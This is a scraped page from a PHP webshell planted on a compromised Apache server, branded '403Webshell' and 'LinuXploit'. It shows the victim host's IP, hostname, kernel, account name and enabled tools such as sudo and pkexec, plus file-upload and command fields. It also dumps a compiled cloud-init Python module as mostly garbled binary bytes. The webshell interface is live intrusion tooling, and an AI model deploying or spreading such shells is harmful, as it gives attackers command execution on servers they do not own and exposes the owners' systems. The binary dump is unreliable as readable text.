403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/cloudinit/sources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/cloudinit/sources/__pycache__/DataSourceExoscale.cpython-36.pyc
3

��b�#�@snddlmZddlmZddlmZddlmZddlmZmZm	Z	ej
e�ZdZ
dZdZd	Zd
ZdZGdd
�d
ej�ZeejejffgZdd�Ze
eeeefdd�Ze
eeeefdd�Zedk�rjddlZejdd�Zejddde
d�ejddded�ejdd ed!ed"�ejd#d ed$ed"�ejd%d&ed'ed"�ej �Z!ee!j"e!j#e!j$e!j%e!j&d(�Z'e(e	j)e'��dS))�)�dmi)�	ec2_utils)�helpers)�log)�sources�
url_helper�utilzhttp://169.254.169.254z1.0i��
��ExoscalecsTeZdZdZdZ�fdd�Zdd�Zdd�Zd	d
�Zdd�Z	d
d�Z
dd�Z�ZS)�DataSourceExoscaler�xcs|tt|�j|||�tjd�|jjdt�|_|jjdt	�|_
t|jjdt��|_
|jjdt�|_|jjdt�|_i|_dS)Nz$Initializing the Exoscale datasource�metadata_url�api_version�password_server_port�timeout�retries)�superr�__init__�LOG�debugZds_cfg�get�METADATA_URLr�API_VERSIONr�int�PASSWORD_SERVER_PORTr�URL_TIMEOUT�url_timeout�URL_RETRIES�url_retries�extra_config)�selfZsys_cfgZdistro�paths)�	__class__��(/usr/lib/python3.6/DataSourceExoscale.pyrs
zDataSourceExoscale.__init__cCs8d}|jjd�}tj|�}|jd|d�r4tjd�dS)z<Adjust set-passwords module to run 'always' during each bootZ
set_passwordsZsemZconfig_Nz5Overriding module set-passwords with frequency always)r"Z
get_ipath_currZFileSemaphores�clearrr)r!ZcfgZis_new_instance�modZsem_pathZ
sem_helperr$r$r%�activate+s
	
zDataSourceExoscale.activatecCs6dj|j|j�}tj|g|j|jtjd�\}}t	|�S)z.Wait for the metadata service to be reachable.z{}/{}/meta-data/instance-id)ZurlsZmax_waitrZ	status_cb)
�formatrrrZwait_for_url�url_max_waitrrZcritical�bool)r!rZurlZ	_responser$r$r%�wait_for_metadata_service:sz,DataSourceExoscale.wait_for_metadata_servicecCs6tjtjd|jd�}|siSt|j|j|j|j	|j
�S)zw
        Crawl the metadata service when available.

        @returns: Dictionary of crawled metadata content.
        z waiting for the metadata service)�logfunc�msg�func)r�log_timer�infor,�
read_metadatarrrrr)r!Zmetadata_readyr$r$r%�crawl_metadataJs
z!DataSourceExoscale.crawl_metadatacCst|j�sdStjtjd|jd�}|s(dS|d|_|d|_|jd�}i}|r^d|ddid	�}tj	|j
|g�|_
dS)
z�Fetch the user data, the metadata and the VM password
        from the metadata service.

        Please refer to the datasource documentation for details on how the
        metadata server and password server are crawled.
        FzCrawl of metadata service)r-r.r/z	user-dataz	meta-data�passwordTZexpire)Z
ssh_pwauthr4Zchpasswd)�_is_platform_viablerr0rrr3Zuserdata_rawZmetadatarZ
mergemanydictr )r!�datar4Zpassword_configr$r$r%�	_get_dataas&



zDataSourceExoscale._get_datacCs|jS)N)r )r!r$r$r%�get_config_obj�sz!DataSourceExoscale.get_config_objcCstjd�jt�S)Nzsystem-product-name)rZ
read_dmi_data�
startswith�EXOSCALE_DMI_NAME)r!r$r$r%r5�s
z&DataSourceExoscale._is_platform_viable)
�__name__�
__module__�__qualname__Zdsnamer*rr(r,r3r7r8r5�
__classcell__r$r$)r#r%rs
.rcCstj|t�S)N)rZlist_from_depends�datasources)Zdependsr$r$r%�get_datasource_list�sr@cCsZdj|||�}tj|dddi||d�}|jjd�}|d	kr>dStj|dddi||d�|S)
z�Obtain the VM's password if set.

    Once fetched the password is marked saved. Future calls to this method may
    return empty string or 'saved_password'.z	{}:{}/{}/NZDomU_RequestZsend_my_password)Zssl_detailsZheadersrrzutf-8��saved_password)rArB)r)rZread_file_or_url�contents�decode)rrrrrZpassword_urlZresponser4r$r$r%�get_password�s$
rEc Cs�i}||d<y0tj||||d�|d<tj||||d�|d<Wn0tk
rl}ztjtd||�iSd}~XnXyt|||||d�|d<Wn4tk
r�}ztjtd	|||�WYdd}~XnX|S)
z8Query the metadata server and return the retrieved data.Z_metadata_api_version)rrz	user-dataz	meta-dataz(failed reading from metadata url %s (%s)N)rrrrrr4z2failed to read from password server url %s:%s (%s))�ec2Zget_instance_userdataZget_instance_metadata�	ExceptionrZlogexcrrE)rrrrrZcrawled_metadata�er$r$r%r2�s4r2�__main__NzQuery Exoscale Metadata)�descriptionz
--endpointZURLz The url of the metadata service.)�metavar�help�defaultz	--version�VERSIONz.The version of the metadata endpoint to query.z	--retriesZNUMz,The number of retries querying the endpoint.)rK�typerLrMz	--timeoutz.The time in seconds to wait before timing out.z--password-portZPORTz/The port on which the password endpoint listens)rrrrr)*Z	cloudinitrrrFrrZloggingrrrZ	getLoggerr;rrrrrrr:Z
DataSourcerZDEP_FILESYSTEMZDEP_NETWORKr?r@rEr2�argparse�ArgumentParser�parser�add_argumentr�
parse_args�argsZendpoint�versionZ
password_portrrr6�printZ
json_dumpsr$r$r$r%�<module>s�
"&



Youez - 2016 - github.com/yon3zu
LinuXploit